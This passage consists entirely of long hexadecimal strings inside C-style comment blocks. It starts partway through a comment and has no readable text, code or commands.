aefb5327248b70d6c9821ec52cd822bfe7a6a6d20d994bd28777804c8ef51760df2c94592df8ad7512009c9c755e0c5151c330d1ae24bc5745a6bc4e139c05037e83c18a7e076e3d442dac0ddb08c4da57c2ab37e25ebf841301339bac7dabe9f4ca34d41c7a9c755720a300afdd1272be3ba670fcb0b00fe59b6452605f2620ac652824ad7422896b0dee8f2de229dee109a04958c17ee3f8426af5846a30ec20a402cc63d571e26a1054178f2c9d5cd72b25a1d3b1d9a803c3b5a2c1256a71599335dc4794ae17a082b2da45ea477af8def6f31802aa00e24b9d537aa904ff7053de0cccb5f324ca1664494c6f6724dd8bd736639a08adb4293e12efe2758dc38a18033f4b4a630958485bb4e4e81c8076194a674c6e116b2c2ae66e2909ee43e820e4697a7c64259adeda7bdd223d613e43d793f83d1a638760020771160cd2d22b015a0691e0b991a2eb662207efa8514e0bec9fd0fc11c37960763f8b92ade0fdb16faa69fa611075a07ca77a32d6f9a4535c25f4009d604761fc3349cdb2fa9f8a565f15de04b5e6618790c38984fdc768f1b1c9eb3df872d617cf015720ec4e209f76e58b3bb6a55f8cdc2c99e19f01117dcd40b4c53f3beafc564792ccd540932ecb3c4521d4837e04ab9cfb84f3e22bb15375ea1bacd6de3b01a9f77107de66a43d5b3a6e3735ed2081cab854da96933dca361e4da38c1601f866b2f08b58276cf2142fa32e45f570de2c1f6d042cffc89705101e0221d50abebf4fc95ccb983b0982fde5629547ecffb758d4545ad56b8c4610d1af36fbe1cd9febdf9276b0703874d44ae165c4947761db362086ebffe02fb9a8be8ae0ffd7f80641cd81537c95be12f325d356307a863d989b4f9368f75078d13e5c70236882527f2199ab2ea248a68750137d099152dfb9f5aa8cac748e32e4289066fe08c81764c16dcb2d432f9321088981e074fd165664f5659a8b374f7888d9aab7ac311727368a313d786133b3f4fe3286e5f002b4ac539133da2ecfb23ce3c108c3707a13289115b5edc846fcded17dd6e81a87205ba7194a05dbdb3cee5b752e8753de39bd521384f6aafb20163398036f3373f551738c132b328378cf63840a71da8ec00ad34641b38dc8ee963e3586f72d6e137a3abcef1a927e32376b3d5023b7d289667c13de8981ecd07e3e8f9a1d34e939a57b877bc07bc3d477ec05cc7a49f88163bed321fdb80161f5c4a2625930f6da346e06ebd9936aab94df6d04ab29ae1b5c04c45d06f10b83d7a32ff5ab6da4699140a9538826b233d9709d2f9d7c895b0a5b9fd0a498fb0c53ab3df6dd94138c6c7ed706c0387050a0d288796982485e13349363c48c1fe7baeda75d5fcff01a7cae549769848e7a2664c083a8402b7f489a621e1b27cb6ae4f07cc770db024d668cf87d467ac4b37f401860ef30b107f3378df2eae4f904831efbb83dd6b5079a1fc926b1696a5290adb9575a8e0f45a5adf4b2efc44fc39295e97ac1f214a93684f437bbaa631a696cab93837891f5fb2d7b98639aa896df2947912942538025888694eae87787c71e0724417a99101be7952dc92c530dd80fae39bcbbdc0b9346f29a8a2b2323f4c18486f51c4e388167c5ac6d3cd5f29884baf2e6b17faf3854c1010*/
/*b41a9be87d41ea6093d31c8bdcb15de54c092272fce8bee3ad6c4c930efc90ccd0ed1537b431716d748d19960d1b02a6e7143ade3bb104d14033fca97c72d0832df2b696bcae6f65ae482233d6edf50935a117a37b71dc92e62ed713223e654a922d7b11bd546f4734f1ba0d1135fdf0856e19b7efb54b65066bfcbc8f017a46842e1346e5744f134064a785bbb4df61e2ffef807bfa5f37cc4ee043f56eb34cd7a2391fa56c869bbe0f4e8bc9d5184d90ca8aea9ff70c9f819584d6c2b05a29de8406dd871d705bd92ee7ab8365c9a310e0e7cdaefd2046117e40e551beef222c0fea09e1c6cb2bd4938458a506e244a7376b8124b9364dce198e526174e8ae4ae0abf2608723023b90013517b438d4be6c574420c57c4bd68d30698ff1287b5298d85af87f07a334d0e69a428d83adc3306da965a72807ec1a41c2d9797664e27a792b225c80150474b620f2d614da9af3b84aa43e8876dc88596c0d5705e5f4042980588f57154daf858d1ac8e8bc6e05505df612b47c084013aaab0199cf126e1324d6bad257122f500b22f6801b42ec2f8b4efb320a428b30503ce37c9e2cdc28ca5845275f303c36e6fb97adb27eeabece583b80c66da3dd8b80b2991a7a12591529fcf2642f93a6cbc43a4f259b4ba71346f2adb745cc8ac226e4a98e044f0bb5c8e9c18769c458671da78eb64581dd3becf7dd040f077efe941bc7d7eae77930a0c2e7e617d814afc7a1ab72ba4c2ce5b911bbce802672cba2246e28041f1efc139f0d8b4a4f3fd79c35d93fa75d0b79aac3afcfdf666bccb358e7090a4bc0be0db2ba1d73b3c7e49a41637f2243c4dd91ed108cb66b35916c38e8a536c57a3b745bdd1daeeb9ae659e420196700a0fb08cea493e62bf1186483e2c11689442624a21e580fe560de578723925d1a1e38a528ec899092013109d4c775db58276cb9a7461587a2801e7527cd60eb611c7e5aa344ab646e5911c7e2ee41f996d04491df544473506cf8230761f16942e5712c1e293f1782644c3b8754fd5552cc2052892b9659979c219c26b53197c2d202a1d1138ea197f79c942d25e700f55be209fa39dd3c20020203cd1956457b3efe7ff92b8fb385657616a09cab287a4587a5f777b72c8e21051b0bf077d04a3034c97a38c0d49cc87a724594ce2b6ebbd26394602cb04821cc01dd57b5968c624774967c30f7c1c56233ef656752df7cc1b4aee16cfc45c1645059abb218259465cd1585035cfa91430bede390c6d44b6377fa7d03c8e7a81f45af5ea6a60bd5ffd707c38d45552c1124ab3a1d6433a73a96a639bc7001fafb92eacd0c229e57e848e17c6f281b4d259fb8b0d5853de0848ea24dcc700b6773866f98a43e025eafd803d7c6dc2c4e7b2a18af6c4c5ab86ad618b3afd3b1c03b457669398a6575fa913f776c52879f3c3fd52e0fcedf2ca2479c648cf14804b04b14e7dad9a6dc7b03fcc77174732f1ca255c21d7c2368cb26594f73611518df3aa3b88c35e644906d06e6d8289d8e9e787714ac8445421597f8887cf12fabfdfd673793b105af662810b1e7df8c4858fd86fcdcb8707869836b56cc7b1fe2b9409a75b326caafadbcca7b4968e16ff947e719e4d4e4812c1e76ff5132405ec42cd371df71fc03d5419025841c41392fb58db10519cd195ba314f3a0c0316ca0bf54c7ce49cd617a295f77422d2d8d1f4abd25a40f4f028516b5e7022c51cc022e256c0c4d5331eb47faf1a6dbe2122190e2760ec405ded21a7eecb6ce20a53de04954ccecce0576c6407a4865266b9eb723a6a3d375be68a4ce662039bd404cbec451c5e939fb8370ee2c493e4dc62f65bc4d246d20b26eb2098ed211a52dfaa76c34e563800494049f1e6334366fee7b7b64dfaed714cef4340c971ed4ffb881f9d46821869474ed6858452f240305090ebcddef1188221a6ae517846723f1c35b15d9b3ba5aebe58e10c1b5175b206d552a1e936c4063b536a71582abfe5dbd75ebb3874f156a3688537d1aae492506d6cddde6d1b20094994cb7d509b6a8ed45fc4c3f655cc6eb1042488a31ff77d51098d8385acb556c35bd40ea8ccc7e794abad80f6aa0f17f50fdb2af1aba33ebd1dcd59471b5e89b517b111fdbbe623ab9f7b7c72bca55e678d4b730c9f520b4b79d52f709b64a86c5eab5e31cc834e6fbf7922f3c9dfea20653bd4973cd9039fb9c1449304b4fd6c9553162f6d3bff10a54ef198d78d1d9d22d137e0abfe3f35d3d47f102dce1e05b93f463df9b52a167ccf03189a33ae4bf37d3427c9a92ece93416bda484ce836d7f5cba169d957190347690b94f44c2e8cbff08ead17f80416f080aa01c73e33408aa69d3cf31b56b1b34a63141a307e0857ca2ba1fa9bae657777830aca8d50d54445924a1f8143bfd606537c790fcd56bdb566220d86e989a22054e5dc8654db3b13cd11aa045a7464e99d9bbf88a0572e99f8b0e955eb66d8d59da0ea3adb8a68ce9d435d0ae295dec0675e8cdfc0eb25b459af2aeced0c15aa7bf87329c3c62e49f65d98ff21bff56d5a445d80342e227d0ed6dd34f8cc817240db01535f30a07ef4e6b0df82a381ecaa8545f3e20a339827593085acaa9e36e25ca78e2f666d9495a1782173d1881e99886f6341ef4d9b01fe024bcd36b59363ecb44b601609e70bb79064131f310b923d3cabd88811d961d5d4e53d4de3bebf575d33da662911895bf8a7fdb4d490e8d75a6642732cbe985742a1a0eeca21879a9a07cda467efc275bb0e994f53a8ee7a48a65307bc8b66f828fe98772991323edec59d52c92e57e2fae58991ef7*/
/*b703d6f875cea3f26fb34c74deea47b52b47268f781d3a4e266a86bf0c57984ef3902c072c2ffe998f3522e751b8159468f962ba32cca91bbec1f540b6ed372755782587c439f01d5ccc5f87c5571acce0a01adb230431716c5c1d48d1ab269a76d340dff06e426d2fc3cea1eee9652de90a0ccc12bfac4320c97d65b94a07d6b70b5e40146ca8bf3a19657db7a19f2e78a68dd8b9b89ba7731692b7e1fd868d15b5d2592d12ab7b96d7f4bb3ae50f9cee896dfa4c9e3baf75385ab52db4d7cd67a3759bb79881f6224e889456a5f8a0d57158ad010ca9f56bd14042cc743278b807be9dfe30d964d33df407c061af871654eb2438d4503a184c293c7ba8a012d339c2b5f9945e641daf4b2c5406b0933f4a5c33f4d5973df060fd3ce959e1de430e7678d2545c35ae930dd9fd0888077eecc4fb125eb65a7aa1e9e078cbf8133e4c11476ec2330cdd7f9565fa390e88ca5111697fcf4c8ae55b56ed73cad71a84efe3106e722c0c60804ce3e0b52b2557a5d5f54b21bb73d9c1624b57d1f9f6c7a4bfde8ae5250cdcef1c091796e0f5a49d3453243ae2f9a79113d8d5e62d229427b96b020f053a5e5c3684955fa80d6b64e59ebcf36463ca2064452d0d3e7e5a90e8259aa14679d860cec6ee70111d2081a34ab52a2f3ba48efb86ec2b46e17c8c99e3720b1f1c5bc44d3704b8cf24f1cfe56196339bc2147d02a3cf0daa3d482443424a8ba037ea85ba45910d63f80cb38eb1d858ef3a8da3863f5570f50280f6b86b35f7fd82269b29df1a6b9501117044f885b5016a3d667b41473041e89d23ad073a3e8906c56f8cb1daab45fbc182e15c32e477cbd0bc44a688998aa504f7ba4a60aff0ff68ea20d3c3481dec705eb48ddeeb07773f156ba09b7e7ee046960024f303b02d195a5be2377e6752d6e5d8aaf07bbf410be41ae091b963f101049906ef6b3eb5c0b3ace3732af0f7b608c56444f593e0216bb9a121a6f6484ed7c81fe3d2c5e922ecc327e22a388a9e79dbc6cb02e6c29004a101caeaaf372d9571108600a5bc692c63c3b06d770cb0dff21be46a9904d58c4690f0b5b276bfdaf65e03f40397d8ef5d36b0a608341bf60cc621fa297511d25adca2960840c6616fbfa8c8c65b682e446114444e0a00df35bfbdacda7d7a38d37270642ed464b55ba799619de75f8c55b8bcf71e86a79e7949f663a50341aa558b5789b615d02abd19e9f184978a7b3a3b6e1d48f010ec98d8a0a90215c5ff0be7177fbe0e82ce6c5b13f4825b6b23daae135da1cd8ec2b8c734bb044c639ec33bd1cdfe4636cb3268fae28879745a2a7d110602bae4739b4fabe30a0e18c7550c9e7945bf90329fa24196559e2998018c986b28e45f38afb209f7e67fc0091144147d5d97a69c72a6e71417904176de42916100442f870eb04aafd4c0ff57a831d14c9d0c548d17718a2a07213874d9c060c955bc6485786b8e5044d9d45559510f89cccbc776a551c3cf660cfd593f14c6e68481836fd0a8ae77cd40c92c25c5e33ef72392c9ceb6bbbdc29a87958201ac97241d75d0609b6a7d7c8528f38950decfc1494e38992622faf33a52e0952cba1a181ad19d09763e1141586d8bcdfaeb9acd124bddffc3cbb24a0d2213d16ea5d317db6c8ffe68c5e53ace26326199cf2d1e7730770d8aed46d9a2398abddd3bbf4fade8ff30d60457203ee83cd8fac729a8c7ebc7633b1925cde604edecb55d60895e784ce0b82dc9215727b31f4a0dd88e1cab8029e9d87724f33075127e2137f8a34b49a3b1bd9eac91d7b3d38fe5067147fc8e93ae08831da1725836d679f7f3116de73e6c4c8debca358c5adba53706c03a8b0e07c1c5a1f7b72627ffce23d444270c0586f457f2eb7a424543dfc653066160acc66447e227761cbf346f16c8c382fa7fb186583743625e8f01d7202589f5e4169e6e26b931531f8a620d7e0f059a13c3cf3292c04dd5b7ea4ee0d727535d8447f7a523d9babdac929e133248e3f65024d70763d00f3abd0a40fefbe868d14d4f3ce8bc3b4769f2e9dd652cf5eb081180ad27d24cf3565d5463e0b41b0a640f73fae606709e7be20f939f88266abd94dc4ddb6a6db519005b481f8fec11b9acb9baf7c7d761912398c7819d58c305a52ef3556d3594159852cafdcebf926e1c0bd2425312004070cd3ae8f494e7f8e88b744f1cb8e2b819d8bdc256301dc275ebd3c9dfad274dba9d6a716557d6063bb75472e75b96bb93f2897c21030ee0563c001cf8b33b2fa18287f3b634d845293676f4a698696cfce9cbc6592a9d2c6e1994246f1817e9641752f9d8f7b394ab855bbde036dcab021fda22c15e51715985a14a716360f809805b6a50bdb3eda9cf8b79191fad89887f65421770f1a7569b9fe35038b1969b3905b7a71f5cba09395ed29e90daa1d14cae36631b846f396ffcdd157ffbc440c880bd32ffdb8b94c604ad79df9a3779ba1fe0d9a96165342eee43df238f66d599ac777a20c44116c36c4a407b35c512a446390c9fff787df526e6f4d707f05bd876b8d779b3ea1d501575c70511748785230b82e9bdeb5b98a8ddd8cd6e5b4ebe34de6b5dc06fd4bbe5291bd91013b52210a76d9d3acf350113d781455bb2db8c7207cd780593f448775c4101782b54ef063d6c9f4cff51c0669f8c2972b8f919c47c0a806c7e1697b772a944830613108218a8a2bc60bfef7d13fb8a75eba6e664f32212d1474a92da57721ab33a0c28d9a70d7396e13cdd2d08c843f76f7fb67b6a43d0445faf2756683b869336831723da1380814221181284e9d8f421069467bc3400d9*/
/*a7a6e1c49dc1ebff8396e37e2dabb59c4cfb250cee698a4727ba5e08a1e33b4dd8d4a52dc697a1db96a0f90fb2fa864856e842ffacb705eb05c4aca286421f46eb553ba961c05477e91cd08169139f3f87a197921474f472ebd35bca1e4afaec9d81fb2521c3795ac5e19d1366cd8cab482aac7684fe0eb38d3e513cfc863b01b125718119b11587a040263b02a9f01b39e8254201e8c2cb853717808b1151420fc5585ac033a38660ce5b9d9f789bb23c6db3783b2f92963b78c128f98c8944ea788bdae559eae5e3c3eb0beeede184f91258706fcfd38b97ccfc5ae9a4e92a7a1346c4925e8b06db5fcf47f96803c1f461de315772b5b9dad82f1c4fb44c6c5def59e518a80e0193ca68c9179a6260a2b2c405b23307da3e34fbdf5c60b85148ae5a61b82de7d2d843a08e307d6289912b090a00af891b260483916057ccb89c1cfa678973637e9fd87cd59b18aaee6fe1aa2cc0766a0dbb9f8e9ee95510063f6af57f53e394bd7074a3497633f2e5475dac0956e1ae64ead107efd94d19fb10bad5046ae92392e26c31695bb8ece69bf15d5c395d922b6e69423ccb79a2b6fe2a6eeef074aafe30bc6b1d1f4ef03a618a6d0e0cfe76b6ca39e253471da900929dd274869ccc387128472a67d8e2c48db5d89542d2510e59984abd17ac7f872b012ab9a44ed8582935d2b6c04661d5d2cdb7a625461ae230e89a3ee77db4a2c17ab1a2f34901779d1adb0be36c0dc75bfba8981544c6d9b5aa1a03f124c103a7858df219c822beb2a192740cfb8654233ff662da4306bebb3c4f1377166b22756f1ee2e2d8671c357db30a985f053fb415df9cab2e8f1700d687c04bd28596a1094749759c89d86d8d5b84daef1d34f0b8f5729f72b335a6bb1b2d4aa42ed334479a87c4630002a5a59080c3e6c8049a79b0d43391a7ffbf7fd47815dc05c30ef6b1dd95a93dcf56099b8f0439bc75676aa09ab28931413f363f38b130d7cdf662626c017980e74ccb7edbbbc94b24424613451b18c99571eb39670e0a575dd926ac6e99fa17b93c11c782634b21ab81cc8ce0994785c0052ea6a092ed61dc92b360a22037dad9c4297d6c5eadd6222f8c698bc95d2f16efb95c589c8a1f70d4cb6f1beb1f995d2dec36bb742d600a01d62d31b17516fe6f7af847fbc036626ecbe0db0a70475cbdfa2fbe03e44271a56ce274d6c0869135e2d4cec70bf801dda6957c6136304cf8fd922c46eb8c64b775ea6af4eef0910653f0c47e1ef7085943637b5c3b154031490f749525c8f83fdca8e0960bbffd375b5635760180ade16fe299aa560a891c4c615cb6875f2ff60a78a614990976a3a00d5b16d56a53e0d9da3cf2231cfb74fa2d17aecf82196c2232135eb94ec73a16f61c86cfe799db82f0ccc3dfa04f6d52428aaa9d141ccc1f5827e62763382582cfc456363e971808922a5633ddba86450ae1d30daaf794c8f7fbb26eeb2f0015bbfac6fc8e87e88a0dba9e6a5bdfe9d311dde1ff330d486204b1fc701206700f68497b8c938b9d597099ac72fc87fe56e5efbad1ca22ad677695e59e156e2ef944157051c3f64008b204be929e778a8645a9c231024dd936805356f21e977ac2c83de0ccc8ea9c165cb77106dc079d6edfadbcdbf1b4c08efb9055e35356783c59c0fe57be79889a061c9b754ad2eeac85272c329687ba5a9781fe15fee8a1657c345d20c5a89cac87f00365cbe267355b0616022e220bce2ba8c5f2f1f0b41fec3406f45d3494a83ff9253479a4fbf3f5fa49c1ac642d9cfe8ac8c52dd9073375fdbb8db9b4aa85994eee7d2645b6612e5312a14418dd6f6c1d826e5ca1446883403ab774669c5fdbdb38940d5573dc12a66bae76ec3ed2146782374b0effe849c796fb7f9b3b9abb50c6dcc33dcfb042e066bb07366f8690a7ad811f70e04dc98b3766f921adba3531f171c2b29c82fe8010574ad53bf7103d4e91a27afda94c78e09a60b070cd3840d535138597533f1178e418ed4cb025ed97d17b8e211f4f9b69f08cf1cdc0a2c9b8d44262dc5a03a019f7cced13efe6e4271569d9729786ad54ec66ab5dabbc07479c509d98a2a7841778d5bcd81c66fe530b22bd7602ba1376962d681c3c903985c3a708287c5191d6e8069732c6365411bb21158284eac0ea6c28721ed6349738e05fc90cfafab65e14aac7e025888c29f14eb80a64cfa1969eea0e09b1fc6d2cf703de3e7b9c16f55ccffb19a6c5daae98449531279b7896bef34200c41b3d6fdb843e09a5da8a9d7b3d2fc7aade8b03d9be4f0d15c2eeccb5e311c5ff5993ea84775c418050fc380768d915c40153a643258faa24f8e0f99de67c62ce69d405c0abd58df96352ce4e73a793d8c99c9fae06e8b1282654f9cf396019ee961c45170a087ed47fa8930e5262f9b3a38b31bc80fb32c7c2279c44ad7099dca4808eaaedeec3dc726f4edd2c13281ba518d98fe8a668f672a29886652c4eab1cd062cf1b1cf20a980c49c322f7d84edf1589d2b2abcceabe9a1325e329887dfe87b5547a06428b13de37b8bd9e633777f4c88fa13e2b2d18399205e29ecd03da1629734f0a362f319bdfab1ec052b19c6d0fb4932c4ef517e35002e3a3da5a545cda8bf99aeca579376e899a98676514f14950e9dd09216463e4be9f811e3f80be003ae8b87eb95562ace861334160ff680a08751d854cac039bfa630d47f723f238a7e87b61fda92b75a3e6a6d056b51d1daa9a47d48b4f43f61684fe2c1edcbb95d0c50854bc90a014d44e12459118a0fd11741a405700cb5e6577d653d7b24b9fd78dedd53da9461f4c451c*/
/*9a607c994d93d743ab2928e14e3078c785613534011775c73e793fee654d7fcb8a323d0e37ba52e8d717255f48e9d626dc01d6bee2b4549ee3706cb58f6dcd3507bed520de258ee2db47ffec457188ff4343a2a8e67f9d74d3d29a3b8f1f6cec9735b767026207a220d8beb969163e49aa60dacc04684c402439a72cf034eb66e479d6710fd9cb485ef207a91573da79cdf24c4f9bfd3bf21dcf25cc94191a1b93e8492f2dbf38797a0d3ae152cba7052ff7b8452f5a038c7a624dd577feada6523e8a638f73c29fc1bdcbc99398ea24272f772777fe669036dd10931364486a9895af0a6db492761e0c4b6f3d17bfaeb1b34816f31062dd9cf9c74f2f8ba7f3347b5b3b5e2d0f4564a8aef734cb7847b1babd4e3b7c9dadfc23b5bd6723c3eace43ca48cddc8bdae26309782d0cf5db535543690575e0cb3ff3ca2d29d52a4c3a354d9bd2f2b845f6fbed0627bf4558087affeecea32eae6a40c15d9002def510642aba82db4055c6b5fc0bc499b927ef722aec78f59fb431e404e1cd37b95850b245e16283775362919534ad93861f98e58ec90f562d9fd1916e6ef1b92928475b4f556df7e5818e24e7cb9da43ddbf21f5e5a3f34c75e949a47bb9e1b9c18d8e5b5450d843360160adb86110cc71caaf4154786dbf24eed867eb8721c48dba58a4b39c09b0a4df89d866c91b249567c87ec1f166fd4d47b4f2e3ae154289c040214ad5afc80ce3cff3bea00541108ca911d88515585ef50f5397cda478d8d372efc1c278fb99e78b48f6fa4efcbd5311d65712eb204394a58d20c3c56adad828ea9d2cc398355eb61ccba41f2ac9cc1cac8fb0f4bbfe2cb71d71399608dda1ec4a86d323f2d7f01e6a0754e17a6ffca41142f3b995a69b6380860a4478c44eefad7c84721f63f3a7eed0f57c3fa80b1d7d1a0d6c1adbaef42be6f34297f0fcccfe1303969ea03dad1b51d77ae4e239813b19b34f390f31f16ef995fcca358fcb3212a54daec22f34f65b001ba726a99fa29e951bee9631928d0eb0d79a803e1aece6536424476e185b01883707038020c0d09c8352a7f991c76e976d2fcae90651947d36db386065b89c8493bcfce6ab662d4aeace3a6ed83953fef27f4b404bae8baac5c54be3511f33ab3f4536bfc56e2d2e79d97da5bc4de51206e4d91804afd7c4fbb9011e8b5030d7d60c222151d806d511ad2953e6f34c0b9fbcfe6da73295ff1d75a3a6ae69fb48ae7f97e5c39f054870c6f799b0cfa358fee59b8de2739ce84aafbc392efd4fe52f484e8b226ab5bb5bb13e51eb4d833ac4f79ba21f96570d24de49e8e814c3b1bc176087015259f0f175f1f8732ad50ad8d18348ebd8dac2609724c2a452294e0bdce68912a6ac77f562a3cc1609ac939102d8b72aea9a111ebd4e7e35f86a35ca9246e58359b3e4bb365dd95782815743d5a81dfe9213eb8b1da8d442c031c618ae000c0e11b408c7533afcd91b138f2bc802e16b0b0c66fbe25c9a892beb19a98e5381f5a674e3b0923947a8512a15c016db3349dfb2a02c0794e9496f1e95646bdb6e542aa3481d5001cc340158c8634a61fd8f183ec793512e893170ef185d616b2a881851a33b31f24043d4c9411db9ebcfde53d41a4dab92b563bf068d2f20f822104faa07bd6ea2f60ba64e25d7fdede6159fea9391bcfcc82b9cbd819ab1c594c362c5d16d3b9c7bc4e5791737e3ac5332d19972d814b11e2b1a72b704d4c13405f21e5c8e0ec15eb69414f57a777824939ab22f1afc73206a9fbf4d444f012eece99bdc2a9930adef167dd4796b9983f8ff40eca3b35c2959682d3d6cc8ea2fa312c72146d180b73229ef146f39926f4ba0e7dcb86f256fb4f44c5a517880dded50ce1b2438d08bb09beb5a8c6da3b7e59de839ce74b2ca32ec41e4ae1a04799ad794d3c80389ad3d06d007686558344beb8e641da2f4c5cd66b1096a6f44b1bcdffa19844f6c6bb11e5f7937326538654088ddf1c223d641b19ab5c5bdf2c76dbced6825319cb41a9c3d2106ec086a4d73daaa15d0699987f863b642c98981c9d0402b2773176507c4ee48ebcebf832ebaa652b9e87d9edae7ac3722670ef7351c80de37eb8c259a36187d63a87edaaf72d968f1400469c58ead1d699a87dced5ea89d8175ff627cfdfcbb803b14f56f64227512703b6cd4d03ca6319704250257ca51c7848ed3a3df8453480d5d01d2a5ec7334ffcfe82d5d7626c50aa7bcc38176214125e0a19e282925178abc612942105130b1f8701c533c54f93d6a1cee61078dc61c3877a331aa16c8b29a8355951aa0621115674fe580baa558c2f2216eacec30ad52eef55b05457b6f42f2ea58aa198e644f9621817cdaac6dd29e8260599844d4058742f1fe0db45dd814a6cd52c02fd18661f658613a2dd2a8413dd253770614b7bd67e7536dea86df6035ef2a1f33cd2a29efdb1601132557ea95e86a7bbb72de4820ccc8585a21ad08e52f73d58b0c7520084d0952eb11be28bc4689748d86f369259b5995ecb1a270ff792e8aa4978cc3632874d341baf83baf01f898ee621cefa037d8ac284684c9b95d627eedbe8025f18db0b93ae516088e2be2ab25c92062e75008e39d3b9c31afba66bca14737d2f16e70860457db0d17faca0ba63f56bebd2fa41a021d0f1c3e51c7d3a72ae4c6d724c402ff654875e68ddf22ccd1ab34171b6af67c066a5dc50aa80f662afcd0b54a38d47299e7e9ee9f5b3fd01313939a656ceb0110e942da0b6133f47f90ff3579f37bf27c667dd5c0089e378dc1a3cb2598670ad9e1abea22051d8768a791ab437c3c42f3af5*/
/*bb8dae268047f84a12db0a6778d19a8709f0f683b9c8173aa0f4a7f401a47246409ed0980692833317ce35f4c3cad89e30fcb7f4c018d6e831dc975d76a2b79e7a80c019595f6e9a5197d258022fbc259cb1763f29b7d2ee9c6fc0c01370d9fcba6778a5f05d176144704da3eb908b408da4011ccaf212ac5fffc6a372684898da306e26f6b5922a8323eac80972c6761b0cc3b6bb70a95aa1f48a4a5087300ce1a4aa6bf88ec248a5494038ca82d75cc502635244afc6ad9b557281fb5dfb9f21093c6c501b3bf0cc8871811213f8ff63a8aed4bfceb1e81f65308c3f2999e58605c1a58317acddffd8f71429d2643408a142e6d0054e77a335bf846e26a9cf5e786f4fba2325e567f9377a43aabfb971ba5ccdf49875d067448b1917fa49f78606f4dd4c1aa55d7eef0522bf6e001643f062f5d72a30158988fbd6a7f2bda2339d6748efbfbf52cea6d88f0fcc8502cb2ba38d1f1c073f29f460d7397eb31fe442d1eac232b719309109867c29737d94de97738cfe874aba2fb56411993f7dbf1b096c127a49c2daf5d814fbedcaacbb001c87a2fbcf218632a8a21278974e912884e7aaec41a38fea65288b9fbb8a00f575cebd2daba59b7a8fecc0d6f6a57af3beb8c9bb529c5d4c9546863a0ada65c2658daa4dbc06f14c7044a8ff13e7a178f3630a2300814e40589cb90404d2310505a9295c8de48f80b5514ce900685b019a5891ba5d27cbb49fea6e5a040fdd8294298375d84785792ab4c697b6123c8fdd775aab569aa03c2321bc4bd87dc86fe292e7852a819769bc54c61fa19cbb219f8e7f4960fcf6a7e24c7184ad0a83756cfbd7068986a1b20041102bef4a136e7e9215e647288de8946ce6bb244ae15802d980e13621152d30793a8fa0f5128e174c637705c012846e5e4874443ee4b7f31bd1994da95e62f842e976b31292a5a68b123b78424267ca45fb8cc19a5b1bfcee6e72bdea7258107e5f4badbc7ba281411ab1a0a29b81750a99b6858ad4eba1478a9a33b4e50b3246fcee4f26f931733803b5780996d9865cb1e384505c6e6413a23cf21087788a2d41f8495eb0d94b1578960fddb9d3b1bb482dc4ce69f44e07c5f4f163a6a4465bd5f746c849a0f5efa4c853e87ce13f61d5dd5c929ed41700e1207ab333efb3677459f242bac6893ecc6fe25f2a096e8a90787ddf6699ecb79a35d139651e9e2ec422d2c1d6fa197447d70a1a204e1342d162cb3d4df1a8445b60e1aab4f49ebe4ced9f8dfa12e0665b02d4a385be11e878d7876c10611ece5aaf0df4096b8d92adb469c74b4e72940fb023d40bcc6e61be41303afb1eeaaca658b04820962b8486decffdbf3ea30c1c3f1fc7d741c3773547bbeef596d659cf3b267b1c493261264d94b8291eda56f300d545f0911a01ca0e7aad23f5768f19035ec7bd9777159f33503e921300310829198830a6be65b10b78bee1ade16c582777bfe8c5ac8d0075fce089a6adb2f8e18d4f84e88b26e67577611eac8e4e44d518bdade7f8bc801face50d769b1693f5a7471b7563b88e8b09361bfd067452982abc50d4d00c060795ac8ac50ea74932887421dea4664032ec1000c61c99abc118933d0d770188937000ab9ee48d559dd7819a32f2dae80c78d5c7b71c346ecca20b66009d33e442d6e372665521a7256b90704d68e649d40f4888a691f8b58de8ba47969836aac1c6c44d1d9d38eaf3c3ca2bbf1406075d30cde2b62da5cf69acd6094ed2b1a3b2ecbec0fed52df228f08920848669d5be5f82a58182360cb0648ef16c440e5c01d0eb6e7e0baebd2fa057ca5a5c44526bac01d2885cb73b8d4cc08426a01972eaea4f5273eb4fc8a79eda38b8c8f60f82348dd2a514e11760195d8ee8c6558f0bef1f56e7b0fdb23f685cc78e89fa141456fe8a60a680366b98d0a54c0bec2a09431f987a615652eb1cca7a03e5a04b9c520e6571b9083b051fd5f3fb66651f4ff811bdba74552a83d02b6e54b08883948255cff6aa3105d6099309e4b7939d3683cae7bd4923672dc63c88fac22f997ac9affc72bfe971e2d722e58b6d3ab49db9da98eeee82296f5dfab5b58245044221f6337439c000715b523b467430befb04bdaf6e3a621e750ca57b9ee23eabee62c1ecd17ddf592c5a7fd015c9e004c2e9cb95a08b6d1f389d7b183878246b265c07872fbc406ab4decedd88d80965946bc353f4d9d221f1ffd672e88e4767f262a84733ca63a9e10fb62a07e543bc5a10e3519585ac146cc466fad3801b57aa8521165479c35ae03b98737287fa23f82c093c5f8e8e0c522dc62423504dc71e6237e984d3da3a0e1ace56d604d5ce397c2e273ef70a776a1d254c343a6adaf1b81b1a01e727b7d95137f01af9a03005289386e96a2d4293f7ea388553ede5dc4f70c9a10612d5ce4c3fb41a4b06e69b8fcf6d9ab999c1352ae0c90090508a55a97534d4fe4b24af456192135fdce524f5192fc21d119698bda0ffb8a8f1edc25ea872424b1ccb639f3c9dfd819418a7489aaa60892ed00398151575c590f07349b2bebaf4868fafe5f6b0bf6e0501eb26aada30a6fcbc5530f7e06b146ddb938eb131ac61dc50d0da26ccef3f8a827dd5093f53490018e33bea91ba189cf45ee44b3e6877f343e2ac9a11c401c4da35db29e7598e2c9b1b4ece13b2ae75e471508e18974b88e6767a4ae77ee3acb0539776a72b87a66c24bcaf9446e2bafe393bb85dcfba69fdd4477930db81f6d6c1a43e06639f65f96c01216910433c1714dc170ed145a62b0af40e003f7e01f8560a98ff62fe42a533d97cd3bd5a7d008229d0*/
/*96fe12791c0f6fd2da42d59f76b93b306be548528e553a51914e3ca015cf08fa83c27a3c77b15f3ae43757e29c0445ea9399b071ef5a97b97c5e8f8f01e93cabb04b5465304a3d3a55a833a019f78ec7828f0f751f331307765f413f2eb13693a4264777e3c9b6db5bd817f5d55f76a2e47ece542e193d7c21fccc6553592a82f05b7f098a25a88ab46f037b59b64ea93c4d9583ef89f2c742028c0652be4d4ec5fbec5ddca749b78b18ce301731b506b3f7e9afdbbb0dbd4f1803711f758127e6deec15c72764c8917c6e984e513dab925999d274a65980ae1a0dbf8a9afee687abea8e57b69e3c863661434241b7ee4aab88894ecc1a6408fb0f4c3d2c5e1334f99be4100fad3dd4fd969b7b25a3214697cd9e7861134c87c27554b2250a879d1fa5a8214110e5465efb5e14429ba068117ae12ad252e90715022b2b6de29fd02062dc8f47c75cce8306953cc91fbc2cb3472223ce08ad254117da2e3b6ead26a2ca59269ac5a1ca0e2513097bb968ada6a8